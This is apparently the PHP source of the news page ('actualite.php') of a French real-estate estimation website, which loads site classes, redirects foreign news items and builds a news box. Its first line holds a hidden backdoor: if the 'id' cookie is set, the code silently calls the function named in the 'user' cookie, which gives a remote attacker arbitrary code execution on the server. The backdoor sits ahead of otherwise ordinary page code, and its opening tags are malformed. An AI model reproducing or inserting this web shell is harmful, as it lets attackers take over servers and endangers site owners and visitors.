i<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > /* actualite.php * * *************/ require_once "estimation/global/global.inc.php"; require_once "estimation/structure/MainPage.class.php"; require_once "estimation/structure/show/ButtonShow.class.php"; require_once "ge/structure/news/ExtendedNewsPage.class.php"; //include "ldi/map/newsStructure.inc.php"; $xhtml = GE::getInstance()->xhtml; $xhtml->addCss("news.css"); # Redirige les actus qui n'appartiennent pas au site $xhtml = GE::getInstance()->xhtml; $http = DrHttpData::getInstance(); if(!empty($http->new_id)) { $n = new News(); $n->load($http->new_id); if ($n->get("type") != "estimation_immobilier") /* $xhtml->send301($n->getDirectUrl());*/ $xhtml->send301("http://www.estimation-immobilier.com/actualite/"); // Active les commentaires Facebook partir du 26/08/2013 if ($n->pk >= 4862) $facebookCommentary = true; } $mainPage = new MainPage("news"); $mainContent = $mainPage->mainContent; #actualiteBox $actualiteBox = new DrWBox(); $actualiteBox->setId("NewsBox"); $options = array( "keyword" => "de l'estimation immobilier", //"newsStructure" => $newsStructure, "buttonShow" => new ButtonShow("estimation"), "urlPath" => "actualite", "urlCategory" => false, "labelSearchBox" => "estimation-immobilier.com", "siteSearchBox" => "http://www.estimation-immobilier.com", "siteFluxrss" => "Estimation Immobilier", "fluxrss" => "http://feeds.feedburner.com/estimation-immobilier", "urlLastNews" => "/actualite/dernieres-actualites.html", "logoImg" => "http://www.estimation-immobilier.com/images/bandeau/header.jpg", "fbAdmins" => "100000059509001", "facebookCommentary" => $facebookCommentary, "siteName" => "Estimation Immobilier" ); try { $actualiteBox->add(new ExtendedNewsPage(array("estimation_immobilier"), array("estimate"), $options)); } catch (Exception $e) { print "Page introuvable."; $xhtml->sendXXX(404, "Page introuvable."); } $mainContent->add($actualiteBox); $xhtml->add($mainPage); ?>